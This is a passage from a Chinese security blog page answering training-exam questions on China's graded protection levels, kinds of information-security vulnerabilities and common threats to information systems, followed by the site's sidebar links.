(2)第二级为指导保护级。其主要对象为一般的信息系统，其业务信息安全性或业务服务保证性受到破坏后，会对社会秩序和公共利益造成轻微损害，但不损害国家安全；本级系统依照国家管理规范和技术标准进行自主保护，必要时，信息安全监管职能部门对其进行指导。<br />
(3)第三级为监管保护级。其主要对象为涉及国家安全、社会秩序和公共利益的主要信息系统，器业务信息安全性或业务服务保证性受到破坏后，会对国家安全、社会秩序和公共利益造成较大损害；本机系统依照国家管理规范和技术标准进行自主保护，信息安全监管职能部门对其进行监督、检查。<br />
(4)第四级为强制保护级。其主要对象为涉及国家安全、社会秩序和公共利益的主要信息系统，其业务信息安全性或业务服务保证性受到破坏后，会对国家安全、社会秩序和公共利益造成严重损害；本级系统依照国家管理规范和技术标准进行自主保护，信息安全监管职能部门对其进行强制监督、检查。<br />
(5)第五级为专控保护级。其主要对象为涉及国家安全、社会秩序和公共利益的重要信息系统的核心子系统，其业务信息安全性或业务服务保证性受到破坏后，会对国家安全社会秩序和公共利益造成特别严重损害；本级系统依照国家管理规范和技术标准进行自主保护，国家指定专门部门、专门机构进行专门监督、检查。</li>
<li>简述信息安全脆弱性的分类及其内容。<br />
答：信息安全脆弱性的分类及其内容如下所示；<br />
脆弱性分类：<br />
一、技术脆弱性<br />
1、物理安全：物理设备的访问控制、电力供应等<br />
2、网络安全：基础网络构架、网络传输加密、访问控制、网络设备安全漏洞、设备配置安全等<br />
3、系统安全：应用软件安全漏洞、软件安全功能、数据防护等<br />
4、应用安全：应用软件安全漏洞、软件安全功能、数据防护等<br />
二、管理脆弱性<br />
安全管理：安全策略、组织安全、资产分类与控制、人员安全、物理与环境安全、通信与操作管理、访问控制、系统开发与维护、业务连续性、符合性</li>
<li>简述至少4种信息系统所面临的安全威胁。<br />
答：信息系统所面临的常见安全威胁如下所示：<br />
软硬件故障：由于设备硬件故障、通信链接中断、信息系统或软件Bug导致对业务、高效稳定运行的影响。<br />
物理环境威胁：断电、静电、灰尘、潮湿、温度、鼠蚁虫害、电磁干扰、洪灾、火灾、地震等环境条件和自然灾害。<br />
无作为或操作失误：由于应该执行而没有执行相应的操作，或无意的执行了错误的操作，对系统造成影响。<br />
管理不到位：安全管理无法落实，不到位，造成安全管理不规范，或者管理混乱，从而破坏信息系统正常有序运行。<br />
恶意代码和病毒：具有自我复制、自我传播能力，对信息系统构成破坏的程序代码。 越权或滥用：通过采用一些，超越自己的权限访问了本来无权访问的资源；或者滥用自己的职权，做出破坏信息系统的行为。<br />
黑客攻击技术：利用黑客工具和技术，例如，侦察、密码猜测攻击、缓冲区溢出攻击、安装后门、嗅探、伪造和欺骗、拒绝服务攻击等手段对信息系统进行攻击和入侵。<br />
物理攻击：物理接触、物理破坏、盗窃。<br />
泄密：机密信息泄露给他人。<br />
篡改：非法修改信息，破坏信息的完整性。<br />
抵赖：不承认收到的信息和所作的操作和交易。</li>
</ol>
</li>
</ol>
					</article>
						            <div class="post-actions">
            	<a href="javascript:;" etap="like" class="post-like action action-like" data-pid="16637"><i class="tbfa">&#xe64c;</i>赞(<span>0</span>)</a>            	<a href="javascript:;" class="action action-rewards" data-event="rewards"><i class="tbfa">&#xe601;</i> 打赏</a>            	            </div>
        		<div class="post-copyright">转载请附本站链接，未经允许不得转载,,谢谢：<a href="https://vulsee.com">微慑信息网-VulSee.com</a> &raquo; <a href="https://vulsee.com/archives/vulsee_2022/0913_16637.html">安全培训理论题の二</a></div>		
		<div class="shares"><dfn>分享到</dfn><a href="javascript:;" data-url="https://vulsee.com/archives/vulsee_2022/0913_16637.html" class="share-weixin" title="分享到微信"><i class="tbfa">&#xe61e;</i></a><a etap="share" data-share="weibo" class="share-tsina" title="分享到微博"><i class="tbfa">&#xe645;</i></a><a etap="share" data-share="qq" class="share-sqq" title="分享到QQ好友"><i class="tbfa">&#xe60f;</i></a><a etap="share" data-share="qzone" class="share-qzone" title="分享到QQ空间"><i class="tbfa">&#xe600;</i></a><a etap="share" data-share="telegram" class="share-telegram" title="分享到Telegram"><i class="tbfa">&#xe9ac;</i></a></div>
		<div class="article-tags"><a href="https://vulsee.com/archives/vulsee_tag/%e5%ae%89%e5%85%a8%e5%9f%b9%e8%ae%ad%e7%90%86%e8%ae%ba%e9%a2%98" rel="tag">安全培训理论题</a></div>
		
		
		            <nav class="article-nav">
                <span class="article-nav-prev">上一篇<br><a href="https://vulsee.com/archives/vulsee_2022/0913_16635.html" rel="prev">安全培训理论题の一</a></span>
                <span class="article-nav-next">下一篇<br><a href="https://vulsee.com/archives/vulsee_2022/0913_16641.html" rel="next">NIST发布四种抗量子密码算法</a></span>
            </nav>
        
				<div class="relates relates-imagetext"><div class="title"><h3>相关推荐</h3></div><ul><li><a target="_blank" href="https://vulsee.com/archives/vulsee_2022/0913_16635.html"><img data-src="https://blog.csdn.net/Herry_Lee/article/details/87624373" alt="安全培训理论题の一-微慑信息网-VulSee.com" src="https://vulsee.com/wp-content/themes/dux/assets/img/thumbnail.png" class="thumb"></a><a href="https://vulsee.com/archives/vulsee_2022/0913_16635.html">安全培训理论题の一</a></li><li><a target="_blank" href="https://vulsee.com/archives/vulsee_2026/0402_18259.html"><img data-src="https://vulsee.com/wp-content/uploads/2026/04/18259thumb-220x150.png" alt="Burp+逍遥模拟器 App抓包-微慑信息网-VulSee.com" src="https://vulsee.com/wp-content/themes/dux/assets/img/thumbnail.png" class="thumb"></a><a href="https://vulsee.com/archives/vulsee_2026/0402_18259.html">Burp+逍遥模拟器 App抓包</a></li><li><a target="_blank" href="https://vulsee.com/archives/vulsee_2026/0310_18236.html"><img data-src="https://vulsee.com/wp-content/uploads/2026/03/2-1773102694-220x150.jpeg" alt="Copaw简单部署及飞书/QQ接入-微慑信息网-VulSee.com" src="https://vulsee.com/wp-content/themes/dux/assets/img/thumbnail.png" class="thumb"></a><a href="https://vulsee.com/archives/vulsee_2026/0310_18236.html">Copaw简单部署及飞书/QQ接入</a></li><li><a target="_blank" href="https://vulsee.com/archives/vulsee_2026/0309_18145.html"><img data-src="https://vulsee.com/wp-content/uploads/2026/03/5-1773046180-220x150.jpeg" alt="OpenClaw安装问题及飞书接入-微慑信息网-VulSee.com" src="https://vulsee.com/wp-content/themes/dux/assets/img/thumbnail.png" class="thumb"></a><a href="https://vulsee.com/archives/vulsee_2026/0309_18145.html">OpenClaw安装问题及飞书接入</a></li><li><a target="_blank" href="https://vulsee.com/archives/vulsee_2026/0309_18164.html"><img data-src="https://vulsee.com/wp-content/uploads/2026/03/2-1773046308-220x150.jpeg" alt="OpenClaw安装问题及QQ接入（二）-微慑信息网-VulSee.com" src="https://vulsee.com/wp-content/themes/dux/assets/img/thumbnail.png" class="thumb"></a><a href="https://vulsee.com/archives/vulsee_2026/0309_18164.html">OpenClaw安装问题及QQ接入（二）</a></li><li><a target="_blank" href="https://vulsee.com/archives/vulsee_2026/0309_18182.html"><img data-src="https://vulsee.com/wp-content/uploads/2026/03/5-1773046418-220x150.jpeg" alt="公众号文章中无水印图片获取-微慑信息网-VulSee.com" src="https://vulsee.com/wp-content/themes/dux/assets/img/thumbnail.png" class="thumb"></a><a href="https://vulsee.com/archives/vulsee_2026/0309_18182.html">公众号文章中无水印图片获取</a></li><li><a target="_blank" href="https://vulsee.com/archives/vulsee_2026/0202_18091.html"><img data-src="https://vulsee.com/wp-content/uploads/2026/02/18091thumb-220x150.png" alt="奇安信VPN问题及影响OneDrive无法登录问题的解决-微慑信息网-VulSee.com" src="https://vulsee.com/wp-content/themes/dux/assets/img/thumbnail.png" class="thumb"></a><a href="https://vulsee.com/archives/vulsee_2026/0202_18091.html">奇安信VPN问题及影响OneDrive无法登录问题的解决</a></li><li><a target="_blank" href="https://vulsee.com/archives/vulsee_2025/1229_18017.html"><img data-src="https://vulsee.com/wp-content/uploads/2025/12/18017thumb-220x150.png" alt="关闭windows自动升级+启动IE浏览器-微慑信息网-VulSee.com" src="https://vulsee.com/wp-content/themes/dux/assets/img/thumbnail.png" class="thumb"></a><a href="https://vulsee.com/archives/vulsee_2025/1229_18017.html">关闭windows自动升级+启动IE浏览器</a></li></ul></div>					</div>
	</div>
	<div  class="sidebar">
	<div  class="widget widget_text"><h3>微慑网</h3>			<div class="textwidget">微慑网(VULSEE.COM)：
<br/>
[-]  关注前沿安全态势,<br/>[-]  聚合网络安全漏洞信息,<br/>[-] 
 分享安全文档案例。
</div>
		</div>
		<div  class="widget widget_recent_entries">
		<h3>最新文章</h3>
		<ul>
											<li>
					<a href="https://vulsee.com/archives/vulsee_2026/0512_18274.html">WEB信息刺探利器:StackPrism / 栈棱镜</a>
									</li>
											<li>
					<a href="https://vulsee.com/archives/vulsee_2026/0512_18282.html">linux ubuntu下elasticsearch集群详细配置+wordpres+elasticPress使用配置</a>
									</li>
											<li>
					<a href="https://vulsee.com/archives/vulsee_2026/0512_18272.html">CIA将网络情报中心升格为独立任务中心：进攻性网络战的制度保障 -- vulsee.com</a>
									</li>
											<li>
					<a href="https://vulsee.com/archives/vulsee_2026/0402_18259.html">Burp+逍遥模拟器 App抓包</a>
									</li>
											<li>
					<a href="https://vulsee.com/archives/vulsee_2026/0310_18236.html">Copaw简单部署及飞书/QQ接入</a>
									</li>
											<li>
					<a href="https://vulsee.com/archives/vulsee_2026/0309_18145.html">OpenClaw安装问题及飞书接入</a>
									</li>
											<li>
					<a href="https://vulsee.com/archives/vulsee_2026/0309_18164.html">OpenClaw安装问题及QQ接入（二）</a>
									</li>
											<li>
					<a href="https://vulsee.com/archives/vulsee_2026/0309_18182.html">公众号文章中无水印图片获取</a>
									</li>
											<li>
					<a href="https://vulsee.com/archives/vulsee_2026/0202_18091.html">奇安信VPN问题及影响OneDrive无法登录问题的解决</a>
									</li>
											<li>
					<a href="https://vulsee.com/archives/vulsee_2026/0122_18083.html">python-wordpress-xmlrpc适应python3.12+</a>
									</li>
					</ul>

		</div><div  class="widget widget_ui_posts"><h3>随机文章</h3><ul><li><a target="_blank" href="https://vulsee.com/archives/vulsee_2022/0622_16477.html"><span class="thumbnail"><img data-src="https://vulsee.com/wp-content/uploads/2022/06/ce37969186e9c05aa99dd1970d205a51.png" alt="[python] 使用flask+gunicorn报错Request Line is too large (8192 > 4094) 的解决方法-微慑信息网-VulSee.com" src="https://vulsee.com/wp-content/themes/dux/assets/img/thumbnail.png" class="thumb"></span><span class="text">[python] 使用flask+gunicorn报错Request Line is too large (8192 > 4094) 的解决方法</span><span class="muted">2022-06-22</span></a></li><li><a target="_blank" href="https://vulsee.com/archives/vulsee_2018/0910_6672.html"><span class="thumbnail"><img data-src="http://vulsee.com/wp-content/uploads/2018/09/739.png" alt="中行支行员工泄露客户个人信息800条被罚-微慑信息网-VulSee.com" src="https://vulsee.com/wp-content/themes/dux/assets/img/thumbnail.png" class="thumb"></span><span class="text">中行支行员工泄露客户个人信息800条被罚</span><span class="muted">2018-09-10</span></a></li><li class="noimg"><a target="_blank" href="https://vulsee.com/archives/vulsee_2006/0506_265.html"><span class="text">[编程] ASP数据库语法总结</span><span class="muted">2006-05-06</span></a></li><li class="noimg"><a target="_blank" href="https://vulsee.com/archives/vulsee_2013/1129_790.html"><span class="text">[破解] 国外hash（MD5、NTLM、LM、SHA）密码在线破解网站</span><span class="muted">2013-11-29</span></a></li><li><a target="_blank" href="https://vulsee.com/archives/vulsee_2021/0906_14655.html"><span class="thumbnail"><img data-src="https://vulsee.com/wp-content/uploads/2021/07/944.png" alt="python 多线程遍历目录测试 の 一-微慑信息网-VulSee.com" src="https://vulsee.com/wp-content/themes/dux/assets/img/thumbnail.png" class="thumb"></span><span class="text">python 多线程遍历目录测试 の 一</span><span class="muted">2021-09-06</span></a></li><li class="noimg"><a target="_blank" href="https://vulsee.com/archives/vulsee_2017/0425_1835.html"><span class="text">丹麦谴责俄罗斯 APT28 黑客组织入侵其国防部邮件系统</span><span class="muted">2017-04-25</span></a></li><li><a target="_blank" href="https://vulsee.com/archives/vulsee_2017/1228_5967.html"><span class="thumbnail"><img data-src="http://hackernews.cc/wp-content/uploads/2017/12/15144523807956.jpg" alt="Github 上出现 PS4 4.05 固件的内核利用，越狱指日可待-微慑信息网-VulSee.com" src="https://vulsee.com/wp-content/themes/dux/assets/img/thumbnail.png" class="thumb"></span><span class="text">Github 上出现 PS4 4.05 固件的内核利用，越狱指日可待</span><span class="muted">2017-12-28</span></a></li><li class="noimg"><a target="_blank" href="https://vulsee.com/archives/vulsee_2008/1017_586.html"><span class="text">[游戏] 仙剑四修改器</span><span class="muted">2008-10-17</span></a></li><li class="noimg"><a target="_blank" href="https://vulsee.com/archives/vulsee_2017/0622_2541.html"><span class="text">韩多家银行遭黑客组织勒索，金融监督院进入紧急状态</span><span class="muted">2017-06-22</span></a></li><li><a target="_blank" href="https://vulsee.com/archives/vulsee_2017/0709_5251.html"><span class="thumbnail"><img data-src="http://hackernews.cc/wp-content/uploads/2017/07/DPMb-fyhwret0403711.jpg" alt="美国总统特朗普网络安全计划再遭共和党反对谴责-微慑信息网-VulSee.com" src="https://vulsee.com/wp-content/themes/dux/assets/img/thumbnail.png" class="thumb"></span><span class="text">美国总统特朗普网络安全计划再遭共和党反对谴责</span><span class="muted">2017-07-09</span></a></li></ul></div><div  class="widget widget_tag_cloud"><h3>微慑标签</h3><div class="tagcloud"><a href="https://vulsee.com/archives/vulsee_tag/cia" class="tag-cloud-link tag-link-34 tag-link-position-1" style="font-size: 11.161290322581pt;" aria-label="CIA (16 项)">CIA</a>
<a href="https://vulsee.com/archives/vulsee_tag/ddosgongji" class="tag-cloud-link tag-link-190 tag-link-position-2" style="font-size: 9.0161290322581pt;" aria-label="DDoS攻击 (10 项)">DDoS攻击</a>
<a href="https://vulsee.com/archives/vulsee_tag/ddos-%e6%94%bb%e5%87%bb" class="tag-cloud-link tag-link-276 tag-link-position-3" style="font-size: 9.0161290322581pt;" aria-label="DDoS 攻击 (10 项)">DDoS 攻击</a>
<a href="https://vulsee.com/archives/vulsee_tag/fbi" class="tag-cloud-link tag-link-353 tag-link-position-4" style="font-size: 9.4677419354839pt;" aria-label="FBI (11 项)">FBI</a>
<a href="https://vulsee.com/archives/vulsee_tag/google" class="tag-cloud-link tag-link-155 tag-link-position-5" style="font-size: 9.0161290322581pt;" aria-label="Google (10 项)">Google</a>
<a href="https://vulsee.com/archives/vulsee_tag/kapustkiy" class="tag-cloud-link tag-link-288 tag-link-position-6" style="font-size: 8pt;" aria-label="Kapustkiy (8 项)">Kapustkiy</a>
<a href="https://vulsee.com/archives/vulsee_tag/vulsee-com" class="tag-cloud-link tag-link-3787 tag-link-position-7" style="font-size: 14.322580645161pt;" aria-label="VulSee.com (31 项)">VulSee.com</a>
<a href="https://vulsee.com/archives/vulsee_tag/wannacry" class="tag-cloud-link tag-link-1322 tag-link-position-8" style="font-size: 11.725806451613pt;" aria-label="wannacry (18 项)">wannacry</a>
<a href="https://vulsee.com/archives/vulsee_tag/zhongguo" class="tag-cloud-link tag-link-75 tag-link-position-9" style="font-size: 14.887096774194pt;" aria-label="中国 (35 项)">中国</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e4%bb%a5%e8%89%b2%e5%88%97" class="tag-cloud-link tag-link-209 tag-link-position-10" style="font-size: 8.5645161290323pt;" aria-label="以色列 (9 项)">以色列</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e4%bf%84%e7%bd%97%e6%96%af" class="tag-cloud-link tag-link-270 tag-link-position-11" style="font-size: 18.161290322581pt;" aria-label="俄罗斯 (69 项)">俄罗斯</a>
<a href="https://vulsee.com/archives/vulsee_tag/xinxixielou" class="tag-cloud-link tag-link-27 tag-link-position-12" style="font-size: 15.225806451613pt;" aria-label="信息泄漏 (38 项)">信息泄漏</a>
<a href="https://vulsee.com/archives/vulsee_tag/xinxixielu" class="tag-cloud-link tag-link-70 tag-link-position-13" style="font-size: 15.112903225806pt;" aria-label="信息泄露 (37 项)">信息泄露</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e5%83%b5%e5%b0%b8%e7%bd%91%e7%bb%9c" class="tag-cloud-link tag-link-305 tag-link-position-14" style="font-size: 12.177419354839pt;" aria-label="僵尸网络 (20 项)">僵尸网络</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e5%8a%a0%e6%8b%bf%e5%a4%a7" class="tag-cloud-link tag-link-290 tag-link-position-15" style="font-size: 8pt;" aria-label="加拿大 (8 项)">加拿大</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e5%8b%92%e7%b4%a2%e7%97%85%e6%af%92" class="tag-cloud-link tag-link-1327 tag-link-position-16" style="font-size: 10.596774193548pt;" aria-label="勒索病毒 (14 项)">勒索病毒</a>
<a href="https://vulsee.com/archives/vulsee_tag/lesuoruanjian" class="tag-cloud-link tag-link-53 tag-link-position-17" style="font-size: 15.903225806452pt;" aria-label="勒索软件 (44 项)">勒索软件</a>
<a href="https://vulsee.com/archives/vulsee_tag/yiliao" class="tag-cloud-link tag-link-54 tag-link-position-18" style="font-size: 10.596774193548pt;" aria-label="医疗 (14 项)">医疗</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e5%8d%a1%e5%b7%b4%e6%96%af%e5%9f%ba" class="tag-cloud-link tag-link-335 tag-link-position-19" style="font-size: 9.8064516129032pt;" aria-label="卡巴斯基 (12 项)">卡巴斯基</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e5%9b%bd%e5%ae%b6%e5%ae%89%e5%85%a8" class="tag-cloud-link tag-link-1017 tag-link-position-20" style="font-size: 9.4677419354839pt;" aria-label="国家安全 (11 项)">国家安全</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e5%9c%9f%e8%80%b3%e5%85%b6" class="tag-cloud-link tag-link-293 tag-link-position-21" style="font-size: 8pt;" aria-label="土耳其 (8 项)">土耳其</a>
<a href="https://vulsee.com/archives/vulsee_tag/gongkonganquan" class="tag-cloud-link tag-link-52 tag-link-position-22" style="font-size: 8.5645161290323pt;" aria-label="工控安全 (9 项)">工控安全</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e5%be%ae%e6%85%91%e7%bd%91" class="tag-cloud-link tag-link-3785 tag-link-position-23" style="font-size: 12.177419354839pt;" aria-label="微慑网 (20 项)">微慑网</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e5%be%b7%e5%9b%bd" class="tag-cloud-link tag-link-322 tag-link-position-24" style="font-size: 12.854838709677pt;" aria-label="德国 (23 项)">德国</a>
<a href="https://vulsee.com/archives/vulsee_tag/eyiruanjian" class="tag-cloud-link tag-link-188 tag-link-position-25" style="font-size: 11.725806451613pt;" aria-label="恶意软件 (18 项)">恶意软件</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e6%95%b0%e6%8d%ae%e6%b3%84%e6%bc%8f" class="tag-cloud-link tag-link-266 tag-link-position-26" style="font-size: 11.725806451613pt;" aria-label="数据泄漏 (18 项)">数据泄漏</a>
<a href="https://vulsee.com/archives/vulsee_tag/shujuxielu" class="tag-cloud-link tag-link-23 tag-link-position-27" style="font-size: 11.951612903226pt;" aria-label="数据泄露 (19 项)">数据泄露</a>
<a href="https://vulsee.com/archives/vulsee_tag/chaoxian" class="tag-cloud-link tag-link-128 tag-link-position-28" style="font-size: 10.596774193548pt;" aria-label="朝鲜 (14 项)">朝鲜</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e6%9c%9d%e9%b2%9c%e9%bb%91%e5%ae%a2" class="tag-cloud-link tag-link-347 tag-link-position-29" style="font-size: 8.5645161290323pt;" aria-label="朝鲜黑客 (9 项)">朝鲜黑客</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e6%ac%a7%e7%9b%9f" class="tag-cloud-link tag-link-537 tag-link-position-30" style="font-size: 11.5pt;" aria-label="欧盟 (17 项)">欧盟</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e6%be%b3%e5%a4%a7%e5%88%a9%e4%ba%9a" class="tag-cloud-link tag-link-762 tag-link-position-31" style="font-size: 9.4677419354839pt;" aria-label="澳大利亚 (11 项)">澳大利亚</a>
<a href="https://vulsee.com/archives/vulsee_tag/weijijiemi" class="tag-cloud-link tag-link-32 tag-link-position-32" style="font-size: 14.096774193548pt;" aria-label="维基解密 (30 项)">维基解密</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e7%bd%91%e7%bb%9c%e5%ae%89%e5%85%a8" class="tag-cloud-link tag-link-1181 tag-link-position-33" style="font-size: 11.725806451613pt;" aria-label="网络安全 (18 项)">网络安全</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e7%bd%91%e7%bb%9c%e6%94%bb%e5%87%bb" class="tag-cloud-link tag-link-595 tag-link-position-34" style="font-size: 12.403225806452pt;" aria-label="网络攻击 (21 项)">网络攻击</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e7%bd%91%e7%bb%9c%e7%8a%af%e7%bd%aa" class="tag-cloud-link tag-link-992 tag-link-position-35" style="font-size: 9.4677419354839pt;" aria-label="网络犯罪 (11 项)">网络犯罪</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e7%bd%91%e7%bb%9c%e9%92%93%e9%b1%bc%e6%94%bb%e5%87%bb" class="tag-cloud-link tag-link-455 tag-link-position-36" style="font-size: 8.5645161290323pt;" aria-label="网络钓鱼攻击 (9 项)">网络钓鱼攻击</a>
<a href="https://vulsee.com/archives/vulsee_tag/meiguo" class="tag-cloud-link tag-link-51 tag-link-position-37" style="font-size: 22pt;" aria-label="美国 (154 项)">美国</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e8%8b%b1%e5%9b%bd" class="tag-cloud-link tag-link-350 tag-link-position-38" style="font-size: 16.129032258065pt;" aria-label="英国 (46 项)">英国</a>
<a href="https://vulsee.com/archives/vulsee_tag/pingguo" class="tag-cloud-link tag-link-124 tag-link-position-39" style="font-size: 8.5645161290323pt;" aria-label="苹果 (9 项)">苹果</a>
<a href="https://vulsee.com/archives/vulsee_tag/yuanchengdaimazhixing" class="tag-cloud-link tag-link-110 tag-link-position-40" style="font-size: 13.08064516129pt;" aria-label="远程代码执行 (24 项)">远程代码执行</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e" class="tag-cloud-link tag-link-534 tag-link-position-41" style="font-size: 8.5645161290323pt;" aria-label="远程代码执行漏洞 (9 项)">远程代码执行漏洞</a>
<a href="https://vulsee.com/archives/vulsee_tag/jinrong" class="tag-cloud-link tag-link-166 tag-link-position-42" style="font-size: 11.725806451613pt;" aria-label="金融 (18 项)">金融</a>
<a href="https://vulsee.com/archives/vulsee_tag/yinxing" class="tag-cloud-link tag-link-40 tag-link-position-43" style="font-size: 12.403225806452pt;" aria-label="银行 (21 项)">银行</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e9%9f%a9%e5%9b%bd" class="tag-cloud-link tag-link-842 tag-link-position-44" style="font-size: 9.8064516129032pt;" aria-label="韩国 (12 项)">韩国</a>
<a href="https://vulsee.com/archives/vulsee_tag/%e9%bb%91%e5%ae%a2%e5%85%a5%e4%be%b5" class="tag-cloud-link tag-link-287 tag-link-position-45" style="font-size: 10.258064516129pt;" aria-label="黑客入侵 (13 项)">黑客入侵</a></div>
</div><div  class="widget widget_ui_posts"><h3>热门文章</h3><ul><li><a target="_blank" href="https://vulsee.com/archives/vulsee_2020/0727_11647.html"><span class="thumbnail"><img data-src="http://vulsee.com/wp-content/uploads/2020/07/215.png" alt="xiunobbs插件/模版收集第一批-微慑信息网-VulSee.com" src="https://vulsee.com/wp-content/themes/dux/assets/img/thumbnail.png" class="thumb"></span><span class="text">xiunobbs插件/模版收集第一批</span><span class="muted">2020-07-27</span></a></li><li class="noimg"><a target="_blank" href="https://vulsee.com/archives/vulsee_2006/0418_230.html"><span class="text">[MTV] -南文北斗</span><span class="muted">2006-04-18</span></a></li><li class="noimg"><a target="_blank" href="https://vulsee.com/archives/vulsee_2006/0318_167.html"><span class="text">[QQ] qq情侣名字大全</span><span class="muted">2006-03-18</span></a></li><li><a target="_blank" href="https://vulsee.com/archives/vulsee_2006/0322_175.html"><span class="thumbnail"><img data-src="http://free.86hy.com/crack/pic/1.jpg" alt="[八卦] 王婷婷—揭秘一个大三女生的性爱录像-微慑信息网-VulSee.com" src="https://vulsee.com/wp-content/themes/dux/assets/img/thumbnail.png" class="thumb"></span><span class="text">[八卦] 王婷婷—揭秘一个大三女生的性爱录像</span><span class="muted">2006-03-22</span></a></li><li class="noimg"><a target="_blank" href="https://vulsee.com/archives/vulsee_2006/0422_6794.html"><span class="text">[日记] 下雨的天气的确不错</span><span class="muted">2006-04-22</span></a></li><li><a target="_blank" href="https://vulsee.com/archives/vulsee_2006/0314_155.html"><span class="thumbnail"><img data-src="http://photo.sohu.com/20041017/Img222528326.jpg" alt="[随笔]今天国际警察节-微慑信息网-VulSee.com" src="https://vulsee.com/wp-content/themes/dux/assets/img/thumbnail.png" class="thumb"></span><span class="text">[随笔]今天国际警察节</span><span class="muted">2006-03-14</span></a></li><li class="noimg"><a target="_blank" href="https://vulsee.com/archives/vulsee_2006/1106_425.html"><span class="text">靠.. 手机给人偷了～</span><span class="muted">2006-11-06</span></a></li><li class="noimg"><a target="_blank" href="https://vulsee.com/archives/vulsee_2006/0604_315.html"><span class="text">[日记] 朋友的站开张了</span><span class="muted">2006-06-04</span></a></li><li class="noimg"><a target="_blank" href="https://vulsee.com/archives/vulsee_2006/0525_6814.html"><span class="text">[日记] 祝贺空间顺利搬移!</span><span class="muted">2006-05-25</span></a></li><li><a target="_blank" href="https://vulsee.com/archives/vulsee_2017/0413_816.html"><span class="thumbnail"><img data-src="http://vulsee.com/wp-content/uploads/2017/04/122.png" alt="人民的名义.全55集.2017.-微慑信息网-VulSee.com" src="https://vulsee.com/wp-content/themes/dux/assets/img/thumbnail.png" class="thumb"></span><span class="text">人民的名义.全55集.2017.</span><span class="muted">2017-04-13</span></a></li></ul></div><div data-wpr-lazyrender="1" class="widget widget_calendar"><div id="calendar_wrap" class="calendar_wrap"><table id="wp-calendar" class="wp-calendar-table">
	<caption>2022 年 9 月</caption>
	<thead>
	<tr>
		<th scope="col" title="星期一">一</th>
		<th scope="col" title="星期二">二</th>
		<th scope="col" title="星期三">三</th>
		<th scope="col" title="星期四">四</th>
		<th scope="col" title="星期五">五</th>
		<th scope="col" title="星期六">六</th>
		<th scope="col" title="星期日">日</th>
	</tr>
	</thead>
	<tbody>
	<tr>
		<td colspan="3" class="pad">&nbsp;</td><td>1</td><td>2</td><td>3</td><td>4</td>
	</tr>
	<tr>
		<td>5</td><td>6</td><td>7</td><td>8</td><td>9</td><td>10</td><td>11</td>
	</tr>
	<tr>
		<td>12</td><td><a href="https://vulsee.com/archives/vulsee_2022/09/13" aria-label="2022 年 9 月 13 日 发布的文章">13</a></td><td>14</td><td>15</td><td>16</td><td>17</td><td>18</td>
	</tr>
	<tr>
		<td><a href="https://vulsee.com/archives/vulsee_2022/09/19" aria-label="2022 年 9 月 19 日 发布的文章">19</a></td><td>20</td><td><a href="https://vulsee.com/archives/vulsee_2022/09/21" aria-label="2022 年 9 月 21 日 发布的文章">21</a></td><td>22</td><td>23</td><td>24</td><td>25</td>
	</tr>
	<tr>
		<td>26</td><td>27</td><td>28</td><td>29</td><td>30</td>
		<td class="pad" colspan="2">&nbsp;</td>
	</tr>
	</tbody>
	</table><nav aria-label="上个月及下个月" class="wp-calendar-nav">
		<span class="wp-calendar-nav-prev"><a href="https://vulsee.com/archives/vulsee_2022/08">&laquo; 8 月</a></span>
		<span class="pad">&nbsp;</span>
		<span class="wp-calendar-nav-next"><a href="https://vulsee.com/archives/vulsee_2022/10">10 月 &raquo;</a></span>
	</nav></div></div><div  class="widget widget_links"><h3>信息资源</h3>
	<ul class='xoxo blogroll'>
<li><a href="https://monitor.firefox.com/scan">firefox-emailScan</a></li>
<li><a href="https://github.com/kon9chunkit/GitHub-Chinese-Top-Charts" rel="noopener" target="_blank">github中文排行榜</a></li>
<li><a href="https://www.questmobile.com.cn" rel="noopener" target="_blank">QuestMobile</a></li>
<li><a href="https://sploitus.com/" rel="noopener" target="_blank">sploitus(CVE)</a></li>

	</ul>
</div>
<div  class="widget widget_links"><h3>友情链接</h3>
	<ul class='xoxo blogroll'>
<li><a href="https://tov.cc" title=" – 记录生活，记录琐事">日记本[tov.cc]</a></li>
<li><a href="https://www.pekkomi.com" rel="noopener" title="青云网是一个专注于计算机科学与技术的 IT 网站，提供网络安全等相关领域的专业知识和资源，服务于计算机专业人士及学生" target="_blank"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="青云网" title="青云网是一个专注于计算机科学与技术的 IT 网站，提供网络安全等相关领域的专业知识和资源，服务于计算机专业人士及学生" data-lazy-src="https://www.pekkomi.com/wp-content/uploads/2024/01/logo4.png" /><noscript><img src="https://www.pekkomi.com/wp-content/uploads/2024/01/logo4.png" alt="青云网" title="青云网是一个专注于计算机科学与技术的 IT 网站，提供网络安全等相关领域的专业知识和资源，服务于计算机专业人士及学生" /></noscript> 青云网</a></li>

	</ul>
</div>
<div  class="widget widget_links"><h3>域名</h3>
	<ul class='xoxo blogroll'>
<li><a href="https://www.americaregistry.com/domains" rel="noopener" target="_blank">americaregistry</a></li>
<li><a href="https://ntldstats.com/" rel="noopener" target="_blank">ntldstats</a></li>

	</ul>
</div>
<div  class="widget widget_links"><h3>安全站点</h3>
	<ul class='xoxo blogroll'>
<li><a href="http://www.chabug.org" rel="noopener" title="一个用心做安全的小博客" target="_blank">ChaBug安全</a></li>
<li><a href="http://www.iwantacve.cn" rel="noopener" target="_blank">CVE中文申请站</a></li>
